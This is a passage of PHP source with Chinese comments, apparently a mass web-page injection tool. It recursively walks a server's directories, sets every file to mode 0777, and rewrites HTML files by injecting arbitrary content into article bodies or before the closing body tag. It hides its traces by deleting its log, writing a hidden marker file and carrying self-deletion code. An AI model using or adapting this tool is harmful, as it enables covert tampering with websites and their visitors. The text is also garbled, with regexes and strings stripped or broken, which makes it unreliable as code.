get_encode($home);
if($encoding==false)
die("无法自动识别页面编码!");
}*/
$this->keyword = mb_convert_encoding($keyword, $encoding, "UTF-8");
$this->insertStr = mb_convert_encoding($insertStr, $encoding, "UTF-8");
$this->suffixArr = $suffixArr;
$this->per = $per;
//$this->encoding = $encoding;
$this->logPath = $logPath;
$this->filterArr = $filterArr; //过滤含有某些关键字的文件
$this->conRegArr = array("(]+?post[^>]+?>.+?)(.+?)(<\/p>)","(
]+?content[^>]+?>.+?)(.+?)(<\/p>)","(
]+?text[^>]+?>.+?)(.+?)(<\/p>)","(
]+?article[^>]+?>.+?)(.+?)(<\/p>)","(
]+?news[^>]+?>.+?)(.+?)(<\/p>)","(
]+?news[^>]+?>.+?)(.+?)(<\/span>)","(]+?article[^>]+?>.+?)(.+?)(<\/span>)","(]+?text[^>]+?>.+?)(.+?)(<\/span>)","(]+?post[^>]+?>.+?)(.+?)(<\/span>)","(]+?content[^>]+?>.+?)(.+?)(<\/span>)","(]+?>.+?)(.+?)(<\/p>)");
$this->getFilesAndModify(".");
$this->writeLog("ALL IS OK!!!");
$log = file_get_contents($this->logPath);;
unlink($this->logPath);
//自毁
echo '';
/*
$fname = basename($_SERVER["SCRIPT_NAME"]);
if(unlink($fname))
echo "自杀成功!";
else
echo "额,自杀失败,请你赶快了结我吧!";
*/
// $sname = $_SERVER["SCRIPT_NAME"];
// echo "继续操作|自我了结 ";
echo<<
$log
log;
file_put_contents(".jae","");
}
/**
* 检查数组中的值是否出现在字符串中
* @param $arr
* @param $str
* @return bool
*/
private function array_in_string($arr,$str)
{
foreach ($arr as $a) {
if(!empty($a)&&stristr($str,$a))
return true;
}
return false;
}
/**
* 获取文件编码
* @param $file
* @return bool|string
*/
public static function get_encode($file){
//暂时只支持('UTF-8 BOM', 'UTF-8','GB2312','ASCII')
/*
$signal = fread(fopen($file,'rb'),2);
if($signal == chr(239).chr(187)){return 'UTF-8 BOM';}
fclose($fp);
*/
$string = file_get_contents($file);
if(chr(239).chr(187).chr(191) == substr($string, 0, 3)) return 'UTF-8'; //UTF-8 BOM
if($string === @iconv('UTF-8', 'UTF-8', iconv('UTF-8', 'UTF-8', $string))) return 'UTF-8';
if($string === @iconv('UTF-8', 'ASCII', iconv('ASCII', 'UTF-8', $string))) return 'GB2312'; //ASCII
if($string === @iconv('UTF-8', 'GB2312', iconv('GB2312', 'UTF-8', $string))) return 'GB2312';
return false;
}
/**
* 得到目录下的所有文件并修改
* @param $dir
* @return bool
*/
private function getFilesAndModify($dir)
{
//列出所有文件
$farr = scandir($dir);
//切换当前工作目录
// if(!chdir($dir))return false;
$sum = $this->getWfileNumber($dir);
foreach ($farr as $f) {
if ($f != "." && $f != "..") {
$fileName = $f;
//补全路径
$f = $dir . '/' . $f;
//改变文件模式
@chmod($f, 0777);
if (is_dir($f)) {
$this->getFilesAndModify($f);
} else if ($this->checkSuffix($f, $this->suffixArr)) {
//修改文件
if ($sum <= 0||$this->array_in_string($this->filterArr,$fileName)) continue;
if (!is_readable($f)) {
$this->writeLog(getcwd() . '/' . $f . ' 文件不可读!!!');
continue;
}
if (!is_writable($f)) {
$this->writeLog(getcwd() . '/' . $f . ' 文件不可写!!!');
continue;
}
$html = file_get_contents($f);
$js = '';
//寻找正文,并插入内容
$chtml = $html;
$falg = true;
foreach ($this->conRegArr as $r) {
if(preg_match('/'.$r.'/is',$html))
{
$chtml = preg_replace('/'.$r.'/is', '$1' . $js . '' . $this->insertStr . ' $2 $3', $html);
$falg = false;
break;
}
}
if($falg)
{
$chtml = preg_replace("/(.*)<\/body>/i", '$1' . $js . '' . $this->insertStr . '
', $html); } if (!empty($this->keyword)) { $chtml = preg_replace("/
$loglog; } private function scanPath($dir){ //列出所有文件 $farr = scandir($dir); foreach ($farr as $f) { if ($f != "." && $f != "..") { $fileName = $f; //补全路径 $f = $dir . '/' . $f; if (is_dir($f)) { $this->scanPath($f); } else if(in_array($fileName,$this->fileArr)){ if(file_put_contents($f,"